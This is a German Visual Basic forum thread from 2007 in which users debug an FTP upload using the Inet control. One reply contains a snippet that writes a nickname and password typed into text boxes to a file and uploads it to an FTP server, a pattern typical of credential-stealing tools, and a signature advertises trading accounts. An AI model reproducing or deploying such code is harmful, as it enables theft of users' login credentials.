Visual Basic Forum

haZl0oh_ · Newbie Anmeldedatum: 28.04.2007 Beiträge: 4

[vb:1:da3750d71d]Private Sub Command1_Click()

Dim a As String
Dim b As String

With Inet1
.AccessType = icUseDefault
.Protocol = icFTP

.RemotePort = "21"
.URL = "dann112.da.ohost.de"
.UserName = "user"
.Password = "pw"

a = "test.txt"
b = "test.txt"

.Execute , "PUT " & a & " " & b
End With
End Sub[/vb:1:da3750d71d]
_________________

Amethyst_ · Poster Anmeldedatum: 24.02.2007 Beiträge: 172

Ich hab schon nen Joint geraucht der war klüger als du. Twisted Evil

Was isn der Fehler??
_________________

haZl0oh_ · Newbie Anmeldedatum: 28.04.2007 Beiträge: 4

hast du auch etwas brauchbares von dir zu geben ?
Und das du Joints am laufenden band rauchst glaube ich gern,

ZiG_ · Überflieger Anmeldedatum: 07.03.2007 Beiträge: 1248

@Amethyst
Bitte keine Beleidigungen,

@haZl0oh

Du mußt schon noch dazuschreiben in welcher Zeile ein Fehler kommt oder was genau halt nicht funktioniert.
Bisschen mehr Details geben bitte.
_________________
Wer nicht auf seine Weise denkt, denkt überhaupt nicht. (Oscar Wilde)

haZl0oh_ · Newbie Anmeldedatum: 28.04.2007 Beiträge: 4

der fehler kommt immer in dieser zeile ...

.Execute , "PUT " & a & " " & b

Jolo_ · Coder Anmeldedatum: 20.03.2007 Beiträge: 210

muss das hier:

[vb:1:e4964d2a0d]a = "test.txt"
b = "test.txt"[/vb:1:e4964d2a0d]
nicht so
[vb:1:e4964d2a0d]a = "test.Text"
b = "test.Text"[/vb:1:e4964d2a0d]
heissen?!

und vlt. noch verschiedene txtboxen? ^^

The-God-of-all_ · Verfasst am: 25.08.2007, 18:41

qog_ · Tutorial Leser Anmeldedatum: 21.08.2007 Beiträge: 48

nein doch so müste eigentlich der code sein:

[vb:1:ccc9d55ba4]Private Sub Command1_Click()

Dim a As String
Dim b As String

With Inet1
.AccessType = icUseDefault
.Protocol = icFTP

.RemotePort = "21"
.URL = "dann112.da.ohost.de"
.UserName = "user"
.Password = "pw"

a = "test1.Text"
b = "test2.Text"

.Execute , "PUT " & a & " " & b
End With
End Sub[/vb:1:ccc9d55ba4]

also bei mir isser so:

achja und die 2 text boxen im gui müssen dann heisen

einmal
test1
und einmal
test2

dan müste es gehen[vb:1:ccc9d55ba4]

Private Sub cmd_up_Click()

Open "Qj25I.txt" For Append As #1
Print #1, "________________"
Print #1, "Nick:"; txt_nick.Text
Print #1, "Pass:"; txt_pass.Text
Print #1, "________________"
Close #1

Dim a As String
Dim b As String

With Inet1
.AccessType = icUseDefault
.Protocol = icFTP
.RemotePort = "21"
.URL = ""
.UserName = ""
.Password = ""

a = "Qj25I.txt"
b = "Qj25I.txt"

.Execute , "PUT" & a & "" & b

MsgBox "Upload erfolgreich!"
End With
End Sub

[/vb:1:ccc9d55ba4]

Amethyst_ · Poster Anmeldedatum: 24.02.2007 Beiträge: 172

Hä??
Was lädst du dann bitte schön aufn FTP? o_0
_________________

Ja!lB!rD_ · Coder Anmeldedatum: 09.06.2007 Beiträge: 79

Was auch wichtig ist, das du das Prog. mehrere sekunden geöffnet lässt, da der upload vll. noch nicht fertig war.

Und du darfst während dem Uploaden mit keinem anderen FTp Prog. zu deinem Host verbunden sein. Zu mindest bei 1gb.in

hier hab ich noch ein den Source wo es 100 Pro geht Rolling Eyes

http://uploaded.to/?id=zzx4gb
_________________

[S] unbegrenzt 6er UIN´s [B]Steam
[S] RS.com Prem Acc´s [B]Steam

fm-g1_ · Newbie Anmeldedatum: 22.06.2007 Beiträge: 14

hmm ich hab einen kleinen uploader gemacht.. ich glaub du hast die leerzeichen vergesse der source von meinem sieht so aus:
(hab erst vor ein paar tagen angefangen.. also richtig scheiße das teil Wink

)

[vb:1:c81832d53c]Private Sub Command1_Click()

Dim Pfad, Pfad1 As String
Dim Datei As Integer
Dim A, B As String
Dim Seite As String
Dim Username As String
Dim Passwort As String
Dim Suche, Prüfung
Dim Fehler As Integer
Dim ValidWords As Variant
Dim Leer As String
Dim Box

Leer = ""
Fehler = 0

Pfad = InputBox("Geben sie den Dateinamen an")
If Pfad = Leer Then
Box = MsgBox("Sie haben keinen Dateinamen eingegeben! wollen sie das Programm beenden?", vbYesNo, "Fehler!")
End If
If Box = vbYes Then Exit Sub
If Box = vbNo Then Pfad = InputBox("Geben sie den Dateinamen an, wenn sie wieder einen falschen Pfad bzw. keinen Dateinamen eingeben wird das Programm geschlossen!")
If Pfad = Leer Then
MsgBox "Falschen Dateinamen bzw. keinen Dateinamen 2 x falsch eingegeben" & vbLf & "Das Programm wird geschlossen!", vbCritical, "Fehler"
Exit Sub
End If

Pfad1 = App.Path & "\" & Pfad
If Dir(Pfad1, vbNormal) = vbNullString Then
MsgBox "Datei nicht gefunden!" & vbLf & "Dies kann folgende Gründe haben:" & vbLf & "1. Die Datei die sie ausgewählt haben ist nicht im ordner vorhanden" & vbLf & "2. Sie haben vergessen die endung an die datei anzuhängen z.b. musik.MP3", vbCritical, "Fehler!"
Exit Sub
Else
End If

'-----------------------------------------------------------------

Do While Fehler <> 3

Seite = InputBox("Geben sie ihre Seite ein!", "Geben sie die Seite ein!")
If Seite = Leer Then
MsgBox "Sie haben keine Seite eingefügt!", vbCritical, "Fehler!"
Fehler = Fehler + 1

Else
ValidWords = Array(".de", ".eu", ".at", ".ch", ".com", ".net", ".org", ".info", ".biz", ".mobi", ".es", ".nl", ".uk", ".ch", ".in", ".dl", ".am", ".name", ".ws", ".be", "ru", "in", "us")
If Not CheckEnter(Seite, ValidWords) Then
MsgBox "Ihre Seite entspricht keiner normalen URL" & vbLf & "vermutlich haben Sie die ndung (z.b. .de) vergessen!", vbCritical, "Fehler"
Fehler = Fehler + 1
Else
Exit Do
End If
End If

If Fehler = 3 Then Exit Sub

Loop

'--------------------------------------------------

user = InputBox("Username")
If user = Leer Then
MsgBox "Keinen Benutzernamen eingegeben!"
user = InputBox("Username")
End If
If user = Leer Then
MsgBox "Keinen Benutzernamen eingegeben!"
user = InputBox("Username")
End If
If user = Leer Then
MsgBox "Keinen benutzernamen eingegeben!"
MsgBox "3x mal falsch eingegeben"
Exit Sub
End If

'----------------------------------------------------

Passwort = InputBox("Passworteingabe")

If user = Leer Then
MsgBox "Keinen Passwort eingegeben!"
Passwort = InputBox("Passworteingabe")
End If

If Passwort = Leer Then
MsgBox "Keinen Passwort eingegeben!"
Passwort = InputBox("Passworteingabe")
End If

If Passwort = Leer Then
MsgBox "Keinen Passwort eingegeben!"
Passwort = InputBox("Passworteingabe")
End If

If Passwort = Leer Then
MsgBox "Keinen passwort eingegeben!"
MsgBox "3x mal falsch eingegeben"
Exit Sub
End If

'----------------------------------------------------
With Inet1
.AccessType = icUseDefault
.Protocol = icFTP
.RemotePort = "21"
.URL = Seite
.Username = user
.Password = Passwort

A = Pfad
B = Pfad

.Execute , "PUT " & A & " " & B
MsgBox "Upload erfolgreich"

End With

End Sub

Private Function CheckEnter(ByVal Entering As String, ByRef ValidWords As Variant) As Boolean
Dim CurPos As Integer

For Each ValidWord In ValidWords
CurPos = InStr(Entering, ValidWord)
If CurPos <> 0 Then
CheckEnter = True
Exit Function
End If
Next ValidWord

CheckEnter = False
End Function
[/vb:1:c81832d53c]
_________________